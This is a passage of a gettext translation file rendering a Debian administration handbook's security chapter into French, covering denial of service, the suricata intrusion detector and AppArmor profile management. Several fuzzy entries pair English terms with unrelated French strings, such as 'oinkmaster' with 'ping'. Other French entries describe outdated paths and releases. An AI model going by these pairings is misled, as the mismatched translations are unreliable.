msgid "denial of service" msgid "Distributed Denial of ServiceDDoS" msgstr "dénis de service" #, fuzzy #| msgid "logsmonitoring" msgid "DoSDenial of Service" msgstr "logssurveillance" msgid "DDoSDistributed Denial of Service" msgstr "" msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)." msgstr "Une attaque de type « déni de service » a pour seul objectif de rendre un service réseau inexploitable. Que cela soit en surchargeant le serveur de requêtes ou en exploitant un bogue de celui-ci, le résultat est toujours le même : le service en question n'est plus fonctionnel, les utilisateurs habituels sont mécontents et l'hébergeur du service réseau visé s'est fait une mauvaise publicité (en plus d'avoir éventuellement perdu des ventes, s'il s'agit par exemple d'un site de commerce en ligne)." msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not)." msgstr "Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de (distributed) denial of service (abrégé en DoS ou DDoS)." #, fuzzy #| msgid "suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected. " msgid "suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected. " msgstr "suricata (du paquet Debian éponyme) est un outil de détection d'intrusions (NIDS — Network Intrusion Detection System) : il écoute en permanence le réseau pour repérer les tentatives d'infiltration et/ou les actes malveillants (notamment les dénis de service). Tous ces événements sont enregistrés dans des fichiers stockés dans /var/log/suricata. Des outils tiers (Kibana/Logstash) permettent de naviguer de manière pratique dans les données collectées. " msgid "snort" msgstr "snort" msgid "suricata" msgstr "suricata" msgid "CAUTION Range of action" msgstr "ATTENTION Rayon d'action" msgid "The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic." msgstr "suricata est limité par le trafic qu'il voit transiter sur son interface réseau : il ne pourra évidemment rien détecter s'il n'observe rien. Branché sur un commutateur (switch), il ne surveillera que les attaques ciblant la machine l'hébergeant, ce qui n'a qu'un intérêt assez limité. Pensez donc à relier la machine employant suricata au port « miroir », qui permet habituellement de chaîner les commutateurs et sur lequel tout le trafic est dupliqué." #, fuzzy #| msgid "Configuring suricata involves reviewing and editing /etc/suricata/suricata-debian.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation." msgid "Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation." msgstr "La configuration de Suricata se fait par le biais du fichier /etc/suricata/suricata-debian.yaml, qui est très long puisque chaque paramètre y est abondamment décrit. A minima, il faudra configurer la plage d'adresses couverte par le réseau local (le paramètre HOME_NET). En pratique, il s'agit de l'ensemble de toutes les cibles d'attaques potentielles. Mais pour tirer le meilleur parti de l'outil, il faudra lire ce fichier dans son intégralité et l'adapter au mieux à la situation locale." msgid "/etc/etc/suricata/suricata.yaml" msgstr "" #, fuzzy #| msgid "On top of this, you should also edit /etc/default/suricata to define the network interface to monitor and to enable the init script (by setting RUN=yes). You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target)." msgid "On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target)." msgstr "Il faudra également modifier /etc/default/suricata pour y déclarer l'interface réseau à superviser, et y activer le script d'initialisation (en réglant RUN=yes). On pourra aussi régler LISTENMODE=pcap, parce que la valeur par défaut (nfqueue) ne fonctionne pas sans une configuration supplémentaire (le pare-feu netfilter doit être configuré pour passer les paquets à une file d'attente en espace utilisateur gérée par Suricata, via la cible NFQUEUE)." #, fuzzy #| msgid "To detect bad behaviour, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it. Unfortunately that package is missing from Debian Jessie and should be retrieved from another Debian release like Testing or Unstable." msgid "To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it." msgstr "suricata détecte les comportements anormaux sur la foi d'un ensemble de règles de supervision. Un ensemble de ces règles est disponible dans le paquet snort-rules-default. snort est la référence de l'écosystème IDS, et suricata peut réutiliser les règles écrites pour snort. Malheureusement, ce paquet n'est pas disponible dans Debian Jessie, et il faudra se le procurer depuis une autre version de Debian, comme Testing ou Unstable." #, fuzzy #| msgid "ping" msgid "oinkmaster" msgstr "ping" #, fuzzy #| msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rulesets from external sources." msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources." msgstr "Une autre possibilité est d'utiliser oinkmaster (dans le paquet du même nom), qui est capable de télécharger des ensembles de règles Snort depuis des sources externes." msgid "GOING FURTHER Integration with prelude" msgstr "POUR ALLER PLUS LOIN Intégration avec prelude" msgid "prelude" msgstr "prelude" msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types." msgstr "Prelude offre une supervision centralisée des informations de sécurité. Pour cela, il dispose d'une architecture modulaire : un serveur (le manager du paquet prelude-manager) centralise les alertes détectées par des capteurs (sensors) de plusieurs types." msgid "Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in )." msgstr "Suricata peut être configuré comme un de ces capteurs. Il existe aussi prelude-lml (Log Monitor Lackey, ou laquais de surveillance de journaux système) qui surveille quant à lui les fichiers de logs, à l'instar de logcheck (voir ), déjà étudié." msgid "Introduction to AppArmor" msgstr "Introduction à AppArmor" msgid "AppArmor" msgstr "AppArmor" msgid "Principles" msgstr "Les principes" #, fuzzy #| msgid "MD5" msgid "MAC" msgstr "MD5" #, fuzzy #| msgid "Mandatory Access Control" msgid "Mandatory Access ControlMAC" msgstr "Mandatory Access Control" #, fuzzy #| msgid "SNMP" msgid "LSM" msgstr "SNMP" #, fuzzy #| msgid "Linux Security Modules" msgid "Linux Security ModulesLSM" msgstr "Linux Security Modules" msgid "AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources." msgstr "AppArmor est un système de contrôle d'accès obligatoire (Mandatory Access Control) qui s'appuie sur l'interface Linux Security Modules fournie par le noyau Linux. Concrètement, le noyau interroge AppArmor avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée. Ce mécanisme permet à AppArmor de confiner des programmes à un ensemble restreint de ressources." #, fuzzy #| msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!)." msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!)." msgstr "AppArmor applique un ensemble de règles (un « profil ») à chaque programme. Le profil appliqué par le noyau dépend du chemin d'installation du programme à exécuter. Contrairement à SELinux (décrit dans ), les règles appliquées ne dépendent pas de l'utilisateur : tous les utilisateurs sont concernés par le même jeu de règles lorsqu'ils exécutent le même programme (mais les permissions habituelles des utilisateurs jouent toujours, ce qui peut donner un comportement différent)." msgid "AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied." msgstr "Les profils AppArmor sont stockés dans /etc/apparmor.d/ ; ils consistent en une liste de règles de contrôle d'accès sur les ressources que peut utiliser chaque programme. Les profils sont compilés et chargés dans le noyau par le biais de la commande apparmor_parser. Chaque profil peut être chargé soit en mode strict (enforcing) soit en mode relâché (complaining). Le mode strict applique les règles et rapporte les tentatives de violation, alors que le mode relâché se contente d'enregistrer dans les journaux système les appels système qui auraient été bloqués, sans les bloquer réellement." #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/apparmor.d/" msgstr "surveillancedes logs" msgid "Enabling AppArmor and managing AppArmor profiles" msgstr "Activer AppArmor et gérer les profils" #, fuzzy #| msgid "debsums" msgid "aa-status" msgstr "debsums" #, fuzzy #| msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:" msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges." msgstr "Le support d'AppArmor est intégré aux noyaux standards fournis par Debian. Pour activer AppArmor, il suffira donc d'installer quelques paquets et d'ajouter quelques paramètres à la ligne de commande du noyau :" #, fuzzy #| msgid "After a reboot, AppArmor is now functional and aa-status will confirm it quickly:" msgid "AppArmor is functional after the installation, and aa-status will confirm it quickly:" msgstr "Après un redémarrage, AppArmor sera opérationnel, ce que confirmera aa-status :" #, fuzzy #| msgid "" #| "\n" #| "# aa-status\n" #| "apparmor module is loaded.\n" #| "44 profiles are loaded.\n" #| "9 profiles are in enforce mode.\n" #| " /usr/bin/lxc-start\n" #| " /usr/lib/chromium-browser/chromium-browser//browser_java\n" #| "[...]\n" #| "35 profiles are in complain mode.\n" #| " /sbin/klogd\n" #| "[...]\n" #| "3 processes have profiles defined.\n" #| "1 processes are in enforce mode.\n" #| " /usr/sbin/libvirtd (1295) \n" #| "2 processes are in complain mode.\n" #| " /usr/sbin/avahi-daemon (941) \n" #| " /usr/sbin/avahi-daemon (1000) \n" #| "0 processes are unconfined but have a profile defined." msgid "" "\n" "# aa-status\n" "apparmor module is loaded.\n" "32 profiles are loaded.\n" "15 profiles are in enforce mode.\n" " /usr/bin/man\n" "[...]\n" "17 profiles are in complain mode.\n" " /usr/sbin/dnsmasq\n" "[...]\n" "1 processes have profiles defined.\n" "1 processes are in enforce mode.\n" " /usr/sbin/libvirtd (468) libvirtd\n" "0 processes are in complain mode.\n" "0 processes are unconfined but have a profile defined." msgstr "" "\n" "# aa-status\n" "apparmor module is loaded.\n" "44 profiles are loaded.\n" "9 profiles are in enforce mode.\n" " /usr/bin/lxc-start\n" " /usr/lib/chromium-browser/chromium-browser//browser_java\n" "[...]\n" "35 profiles are in complain mode.\n" " /sbin/klogd\n" "[...]\n" "3 processes have profiles defined.\n" "1 processes are in enforce mode.\n" " /usr/sbin/libvirtd (1295) \n" "2 processes are in complain mode.\n" " /usr/sbin/avahi-daemon (941) \n" " /usr/sbin/avahi-daemon (1000) \n" "0 processes are unconfined but have a profile defined." msgid "NOTE More AppArmor profiles" msgstr "NOTE Autres profils AppArmor" #, fuzzy #| msgid "monitoringlog files" msgid "AppArmorprofiles" msgstr "surveillancedes logs" msgid "The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian." msgstr "Le paquet apparmor-profiles contient des profils développés par la communauté amont d'AppArmor. Pour en obtenir d'autres encore, il est possible d'installer apparmor-profiles-extra, qui contient des profils développés par Ubuntu et Debian." #, fuzzy #| msgid "ping" msgid "aa-complain" msgstr "ping" #, fuzzy #| msgid "snort" msgid "aa-enforce" msgstr "snort" #, fuzzy #| msgid "iptables" msgid "aa-disable" msgstr "iptables" #, fuzzy #| msgid "The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit." msgid "The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit." msgstr "Le statut de chaque profil peut être basculé entre les modes strict et relâché, avec les commandes aa-enforce et aa-complain, en leur passant en paramètre soit le chemin de l'exécutable concerné, soit le chemin du fichier de profil. Il est également possible de désactiver complètement un profil avec aa-disable, ou de le basculer en mode audit (de sorte qu'il enregistre dans les journaux même les appels système acceptés) avec aa-audit." #, fuzzy #| msgid "" #| "\n" #| "# aa-enforce /usr/sbin/avahi-daemon\n" #| "Setting /usr/sbin/avahi-daemon to enforce mode.\n" #| "# aa-complain /etc/apparmor.d/usr.bin.lxc-start\n" #| "Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.\n" #| " " msgid "" "\n" "# aa-enforce /usr/bin/pidgin\n" "Setting /usr/bin/pidgin to enforce mode.\n" "# aa-complain /usr/sbin/dnsmasq\n" "Setting /usr/sbin/dnsmasq to complain mode." msgstr "" "\n" "# aa-enforce /usr/sbin/avahi-daemon\n" "Setting /usr/sbin/avahi-daemon to enforce mode.\n" "# aa-complain /etc/apparmor.d/usr.bin.lxc-start\n" "Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.\n" " " msgid "Creating a new profile" msgstr "Créer un nouveau profil" msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses." msgstr "Bien qu'il soit assez simple de créer un profil AppArmor, peu de programmes en fournissent un. Cette section montre comment créer un nouveau profil depuis zéro, simplement en utilisant le programme visé et en indiquant à AppArmor de surveiller les appels système qu'il passe et les ressources qu'il utilise." #, fuzzy #| msgid "ping" msgid "aa-unconfined" msgstr "ping" msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection." msgstr "Les programmes qui devront être confinés en priorité sont ceux qui font face au réseau, car ce sont eux qui seront les cibles les plus alléchantes pour des attaquants distants. C'est précisément dans ce but qu'AppArmor fournit une commande aa-unconfined, qui liste les programmes qui, sans avoir de profil associé, exposent quand même un port de communication. L'option --paranoid liste même tous les processus non confinés qui ont au moins une connexion réseau ouverte." #, fuzzy #| msgid "" #| "$ id -Z\n" #| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023" msgid "" "\n" "# aa-unconfined\n" "451 /usr/bin/containerd not confined\n" "467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined\n" "892 /usr/sbin/exim4 not confined\n" "" msgstr "" "$ id -Z\n" "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023" #, fuzzy #| msgid "In the following example, we will thus try to create a profile for /sbin/dhclient. For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:" msgid "In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:" msgstr "Dans l'exemple suivant, nous allons nous atteler à créer un profil pour /sbin/dhclient. Nous allons pour cela utiliser la commande aa-genprof dhclient, qui nous invite à utiliser l'application (dans une autre fenêtre) et à revenir à aa-genprof une fois que c'est fait, pour scruter les journaux à la recherche d'événements AppArmor et convertir ces journaux en règles de contrôle d'accès. Pour chaque événement enregistré, une ou plusieurs suggestions de règles seront proposées, et il sera possible de les approuver telles quelles ou de les modifier de diverses manières :" #, fuzzy #| msgid "" #| "\n" #| "# aa-genprof dhclient\n" #| "Writing updated profile for /sbin/dhclient.\n" #| "Setting /sbin/dhclient to complain mode.\n" #| "\n" #| "Before you begin, you may wish to check if a\n" #| "profile already exists for the application you\n" #| "wish to confine. See the following wiki page for\n" #| "more information:\n" #| "http://wiki.apparmor.net/index.php/Profiles\n" #| "\n" #| "Please start the application to be profiled in\n" #| "another window and exercise its functionality now.\n" #| "\n" #| "Once completed, select the \"Scan\" option below in \n" #| "order to scan the system logs for AppArmor events. \n" #| "\n" #| "For each AppArmor event, you will be given the \n" #| "opportunity to choose whether the access should be \n" #| "allowed or denied.\n" #| "\n" #| "Profiling: /sbin/dhclient\n" #| "\n" #| "[(S)can system log for AppArmor events] / (F)inish\n" #| "Reading log entries from /var/log/audit/audit.log.\n" #| "\n" #| "Profile: /sbin/dhclient \n" #| "Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n" #| "Severity: unknown\n" #| "\n" #| "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n" #| "P\n" #| "Should AppArmor sanitise the environment when\n" #| "switching profiles?\n" #| "\n" #| "Sanitising environment is more secure,\n" #| "but some applications depend on the presence\n" #| "of LD_PRELOAD or LD_LIBRARY_PATH.\n" #| "\n" #| "(Y)es / [(N)o]\n" #| "Y\n" #| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n" #| "Complain-mode changes:\n" #| "WARN: unknown capability: CAP_net_raw\n" #| "\n" #| "Profile: /sbin/dhclient \n" #| "Capability: net_raw\n" #| "Severity: unknown\n" #| "\n" #| "[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n" #| "A\n" #| "Adding capability net_raw to profile.\n" #| "\n" #| "Profile: /sbin/dhclient \n" #| "Path: /etc/nsswitch.conf\n" #| "Mode: r\n" #| "Severity: unknown\n" #| "\n" #| " 1 - #include <abstractions/apache2-common> \n" #| " 2 - #include <abstractions/libvirt-qemu> \n" #| " 3 - #include <abstractions/nameservice> \n" #| " 4 - #include <abstractions/totem> \n" #| " [5 - /etc/nsswitch.conf]\n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "3\n" #| "\n" #| "Profile: /sbin/dhclient\n" #| "Path: /etc/nsswitch.conf\n" #| "Mode: r\n" #| "Severity: unknown\n" #| "\n" #| " 1 - #include <abstractions/apache2-common> \n" #| " 2 - #include <abstractions/libvirt-qemu> \n" #| " [3 - #include <abstractions/nameservice>]\n" #| " 4 - #include <abstractions/totem> \n" #| " 5 - /etc/nsswitch.conf \n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "A\n" #| "Adding #include <abstractions/nameservice> to profile.\n" #| "\n" #| "Profile: /sbin/dhclient\n" #| "Path: /proc/7252/net/dev\n" #| "Mode: r\n" #| "Severity: 6\n" #| "\n" #| " 1 - /proc/7252/net/dev \n" #| " [2 - /proc/*/net/dev]\n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "A\n" #| "Adding /proc/*/net/dev r to profile\n" #| "\n" #| "[...]\n" #| "Profile: /sbin/dhclient \n" #| "Path: /run/dhclient-eth0.pid\n" #| "Mode: w\n" #| "Severity: unknown\n" #| "\n" #| " [1 - /run/dhclient-eth0.pid]\n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "N\n" #| "\n" #| "Enter new path: /run/dhclient*.pid\n" #| "\n" #| "Profile: /sbin/dhclient\n" #| "Path: /run/dhclient-eth0.pid\n" #| "Mode: w\n" #| "Severity: unknown\n" #| "\n" #| " 1 - /run/dhclient-eth0.pid \n" #| " [2 - /run/dhclient*.pid]\n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "A\n" #| "Adding /run/dhclient*.pid w to profile\n" #| "\n" #| "[...]\n" #| "Profile: /usr/lib/NetworkManager/nm-dhcp-helper \n" #| "Path: /proc/filesystems\n" #| "Mode: r\n" #| "Severity: 6\n" #| "\n" #| " [1 - /proc/filesystems]\n" #| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" #| "A\n" #| "Adding /proc/filesystems r to profile\n" #| "\n" #| "= Changed Local Profiles =\n" #| "\n" #| "The following local profiles were changed. Would you like to save them?\n" #| "\n" #| " [1 - /sbin/dhclient]\n" #| " 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n" #| "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n" #| "S\n" #| "Writing updated profile for /sbin/dhclient.\n" #| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n" #| "\n" #| "Profiling: /sbin/dhclient\n" #| "\n" #| "[(S)can system log for AppArmor events] / (F)inish\n" #| "F\n" #| "Setting /sbin/dhclient to enforce mode.\n" #| "Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n" #| "\n" #| "Reloaded AppArmor profiles in enforce mode.\n" #| "\n" #| "Please consider contributing your new profile!\n" #| "See the following wiki page for more information:\n" #| "http://wiki.apparmor.net/index.php/Profiles\n" #| "\n" #| "Finished generating profile for /sbin/dhclient." msgid "" "\n" "# aa-genprof dhclient\n" "Writing updated profile for /usr/sbin/dhclient.\n" "Setting /usr/sbin/dhclient to complain mode.\n" "\n" "Before you begin, you may wish to check if a\n" "profile already exists for the application you\n" "wish to confine. See the following wiki page for\n" "more information:\n" "https://gitlab.com/apparmor/apparmor/wikis/Profiles\n" "\n" "Profiling: /usr/sbin/dhclient\n" "\n" "Please start the application to be profiled in\n" "another window and exercise its functionality now.\n" "\n" "Once completed, select the \"Scan\" option below in \n" "order to scan the system logs for AppArmor events. \n" "\n" "For each AppArmor event, you will be given the \n" "opportunity to choose whether the access should be \n" "allowed or denied.\n" "\n" "[(S)can system log for AppArmor events] / (F)inish\n" "S\n" "Reading log entries from /var/log/syslog.\n" "\n" "Profile: /usr/sbin/dhclient \n" "Execute: /usr/sbin/dhclient-script\n" "Severity: unknown\n" "\n" "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n" "P\n" "\n" "Should AppArmor sanitise the environment when\n" "switching profiles?\n" "\n" "Sanitising environment is more secure,\n" "but some applications depend on the presence\n" "of LD_PRELOAD or LD_LIBRARY_PATH.\n" "\n" "[(Y)es] / (N)o\n" "Y\n" "Writing updated profile for /usr/sbin/dhclient-script.\n" "Complain-mode changes:\n" "\n" "Profile: /usr/sbin/dhclient \n" "Capability: net_raw\n" "Severity: 8\n" "\n" " [1 - capability net_raw,]\n" "(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n" "A\n" "Adding capability net_raw, to profile.\n" "\n" "Profile: /usr/sbin/dhclient\n" "Capability: net_bind_service\n" "Severity: 8\n" "\n" " [1 - #include <abstractions/nis>]\n" " 2 - capability net_bind_service,\n" "(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n" "A\n" "Adding #include <abstractions/nis> to profile.\n" "\n" "Profile: /usr/sbin/dhclient \n" "Path: /etc/ssl/openssl.cnf\n" "New Mode: owner r\n" "Severity: 2\n" "\n" " [1 - #include <abstractions/lightdm>]\n" " 2 - #include <abstractions/openssl>\n" " 3 - #include <abstractions/ssl_keys>\n" " 4 - owner /etc/ssl/openssl.cnf r,\n" "(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n" "2\n" "\n" "Profile: /usr/sbin/dhclient\n" "Path: /etc/ssl/openssl.cnf\n" "New Mode: owner r\n" "Severity: 2\n" "\n" " 1 - #include <abstractions/lightdm> \n" " [2 - #include <abstractions/openssl>]\n" " 3 - #include <abstractions/ssl_keys>\n" " 4 - owner /etc/ssl/openssl.cnf r, \n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "A\n" "[...]\n" "Profile: /usr/sbin/dhclient-script \n" "Path: /usr/bin/dash\n" "New Mode: owner r\n" "Severity: unknown\n" "\n" " 1 - #include <abstractions/gvfs-open>\n" " [2 - #include <abstractions/lightdm>]\n" " 3 - #include <abstractions/ubuntu-browsers.d/plugins-common>\n" " 4 - #include <abstractions/xdg-open>\n" " 5 - owner /usr/bin/dash r,\n" "(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n" "A\n" "Adding #include <abstractions/lightdm> to profile.\n" "Deleted 2 previous matching profile entries.\n" "\n" "= Changed Local Profiles =\n" "\n" "The following local profiles were changed. Would you like to save them?\n" "\n" " [1 - /usr/sbin/dhclient]\n" " 2 - /usr/sbin/dhclient-script\n" "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n" "S\n" "Writing updated profile for /usr/sbin/dhclient.\n" "Writing updated profile for /usr/sbin/dhclient-script.\n" "\n" "Profiling: /usr/sbin/dhclient\n" "\n" "Please start the application to be profiled in\n" "another window and exercise its functionality now.\n" "\n" "Once completed, select the \"Scan\" option below in\n" "order to scan the system logs for AppArmor events.\n" "\n" "For each AppArmor event, you will be given the\n" "opportunity to choose whether the access should be\n" "allowed or denied.\n" "\n" "[(S)can system log for AppArmor events] / (F)inish\n" "F\n" "Setting /usr/sbin/dhclient to enforce mode.\n" "Setting /usr/sbin/dhclient-script to enforce mode.\n" "\n" "Reloaded AppArmor profiles in enforce mode.\n" "\n" "Please consider contributing your new profile!\n" "See the following wiki page for more information:\n" "https://gitlab.com/apparmor/apparmor/wikis/Profiles\n" "\n" "Finished generating profile for /usr/sbin/dhclient." msgstr "" "\n" "# aa-genprof dhclient\n" "Writing updated profile for /sbin/dhclient.\n" "Setting /sbin/dhclient to complain mode.\n" "\n" "Before you begin, you may wish to check if a\n" "profile already exists for the application you\n" "wish to confine. See the following wiki page for\n" "more information:\n" "http://wiki.apparmor.net/index.php/Profiles\n" "\n" "Please start the application to be profiled in\n" "another window and exercise its functionality now.\n" "\n" "Once completed, select the \"Scan\" option below in \n" "order to scan the system logs for AppArmor events. \n" "\n" "For each AppArmor event, you will be given the \n" "opportunity to choose whether the access should be \n" "allowed or denied.\n" "\n" "Profiling: /sbin/dhclient\n" "\n" "[(S)can system log for AppArmor events] / (F)inish\n" "Reading log entries from /var/log/audit/audit.log.\n" "\n" "Profile: /sbin/dhclient \n" "Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n" "Severity: unknown\n" "\n" "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n" "P\n" "Should AppArmor sanitise the environment when\n" "switching profiles?\n" "\n" "Sanitising environment is more secure,\n" "but some applications depend on the presence\n" "of LD_PRELOAD or LD_LIBRARY_PATH.\n" "\n" "(Y)es / [(N)o]\n" "Y\n" "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n" "Complain-mode changes:\n" "WARN: unknown capability: CAP_net_raw\n" "\n" "Profile: /sbin/dhclient \n" "Capability: net_raw\n" "Severity: unknown\n" "\n" "[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n" "A\n" "Adding capability net_raw to profile.\n" "\n" "Profile: /sbin/dhclient \n" "Path: /etc/nsswitch.conf\n" "Mode: r\n" "Severity: unknown\n" "\n" " 1 - #include <abstractions/apache2-common> \n" " 2 - #include <abstractions/libvirt-qemu> \n" " 3 - #include <abstractions/nameservice> \n" " 4 - #include <abstractions/totem> \n" " [5 - /etc/nsswitch.conf]\n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "3\n" "\n" "Profile: /sbin/dhclient\n" "Path: /etc/nsswitch.conf\n" "Mode: r\n" "Severity: unknown\n" "\n" " 1 - #include <abstractions/apache2-common> \n" " 2 - #include <abstractions/libvirt-qemu> \n" " [3 - #include <abstractions/nameservice>]\n" " 4 - #include <abstractions/totem> \n" " 5 - /etc/nsswitch.conf \n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / 